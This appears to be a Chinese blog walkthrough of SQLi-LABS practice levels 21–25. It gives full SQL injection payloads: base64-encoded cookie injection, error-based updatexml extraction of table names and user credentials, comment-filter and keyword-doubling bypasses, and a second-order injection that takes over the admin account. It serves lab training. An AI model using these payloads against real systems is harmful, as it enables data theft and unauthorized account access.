当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less21-25详细通关攻略

less 21 Cookie injection-base64 encoded-single quotes and parenthesis

1.判断注入点

使用我们自己已经知道的用户名和密码进行登录后页面显示给出Cookie值,也就是说Cookie是可以回显的接下来我们抓包尝试。并且这里的RHVtYg==跟base64编码相似我们尝试对其进行解码,确实是base64编码。所以我们稍后所以注入语句都要进行base64编码。

2.重新访问进行抓包发送到重放器查看

更改请求数据包查看页面是否存在变化,是可以改变的,接下来我们就可以尝试进行注入了。

2.判断闭合方式

根据下列语句编码后执行结果可以知道闭合方式为 ') # 执行语句要使用base64编码

') or 1=2 #				两个条件都不成立故都为错
') or 1=1 #				1=1成立所以页面回显正确

3.判断注入方法

在我们刚刚尝试闭合方式时可以看到给我们的报错信息为存在语法错误,所以我们可以使用报错注入然后进行base64编码进行注入

4.构造报错注入语句获取数据库名称

') and updatexml(1,concat(1,database()),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLGRhdGFiYXNlKCkpLDMpICM=		//base64编码

5.构造语句查询数据库中的表信息

') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDMpICM=

6.查询字段名

') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwzKSAj

7.查询具体信息

') and updatexml(1,concat(1,(select group_concat(username,password) from users)),2) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMikgIw==

less 22 injection-base64 encoded-double quotes

该关卡与上一关除了闭合方式为“ # 外其他的一模一样,登录到里面的内容也一模一样所以就不凑字数了,大家将上述代码的闭合方式改一下进行编码即可。

less 23 GET -Error based -strip comments

1.判断闭合方式

该关对注释符号进行了过滤无论是# --+ 都无法使用所以我们换一个语句

1' and 1=1 or'		页面正常
1' and 1=2 or'		页面不正常

1.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

2.构造报错注入语句获取数据库名称

' and updatexml(1,concat(1,database()),3) or'

3.构造语句查询数据库中的表信息

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) or'

4.查询字段名

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) or'

5.查询具体信息

' and updatexml(1,concat(1,(select group_concat(username,password) from users)),2) or'

less 24 POST-Second 0der injection *Real treat * -Stored injections

1.该关卡页面是一个登录界面并且给出了密码重置和账号注册的功能。首先尝试二次注入。

2.二次注入就是在我们注册账号时使用的用户名为攻击语句,会造成重置密码时后续语句注释的情况,这样我们修改后的密码就是数据库原有账号的密码。

以admin举例,注册时admin'# 重置密码时代码执行会将#当做注释符号解析。

3.使用admin'#注册

注册成功修改密码。

使用修改后的密码登录这样就可以进入管理员账号。

less 25 GET- Error based -All your OR & AND belong to us -string single quote

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or过滤掉了,那我们就给他构造一个aandnd进行绕过。

?id=2' aandnd 1=1 --+
?id=2' aandnd 1=2 --+

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.判断列数和回显点

1' oorrder by 4 --+1' oorrder by 3 --+//根据页面条件满足变化,可以确定有三列。
-1' union select 1,2,3 --+

4.构造报错注入语句获取数据库名称

-1' aandnd updatexml(1,concat(1,database()),3) --+

5.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤。

-1' aandnd updatexml(1,concat(1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')),3) --+

6.查询字段名

-1' aandnd updatexml(1,concat(1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users')),3) --+

7.查询具体信息

password中的or。

-1' aandnd updatexml(1,concat(1,(select group_concat(username,passwoorrd) from users)),2) --+

http://www.xdnf.cn/news/1200439.html

相关文章:

  • Ubuntu普通用户环境异常问题
  • 数学建模——灰色关联分析
  • 三、构建一个Agent
  • OpenCv中的 KNN 算法实现手写数字的识别
  • 消息队列MQ常见问题和解决方案
  • Java面试全攻略:Spring生态与微服务架构实战
  • 新手开发 App,容易陷入哪些误区?
  • Android:Reverse 实战 part 2 番外 IDA python
  • SignalR 全解析:核心原理、适用场景与 Vue + .NET Core 实战
  • [电网备考]计算机组成与原理
  • Vue 四个map的使用方法
  • Mysql 二进制安装常见问题
  • 设备独立性软件-高速缓存与缓冲区
  • GIF图像格式
  • 水稻调控组全景的综合绘制与建模揭示了复杂性状背后的调控架构
  • springboot基于Java的人力资源管理系统设计与实现
  • Java面试新趋势:云原生与新兴框架实战解析
  • Vscode的常用快捷键(摆脱鼠标计划)
  • 24点数学游戏(穷举法求解表达式)
  • mybatis-plus逻辑删除配置
  • PROFINET转CAN通讯协议转换速通汽车制造
  • 【机器学习-3】 | 决策树与鸢尾花分类实践篇
  • 【Typora】分享一款很好用的PJ版本的Markdown编辑器
  • k8s pod生命周期、初始化容器、钩子函数、容器探测、重启策略
  • S7-1500 与 S7-1200 存储区域保持性设置特点详解
  • ESP32学习-FreeRTOS队列使用指南与实战
  • 回归预测 | MATLAB实现BiTCN双向时间卷积神经网络多输入单输出回归预测
  • 如何在 Ubuntu 24.04 或 22.04 中更改 SSH 端口
  • 个人笔记HTML5
  • 【ee类保研面试】通信类---信息论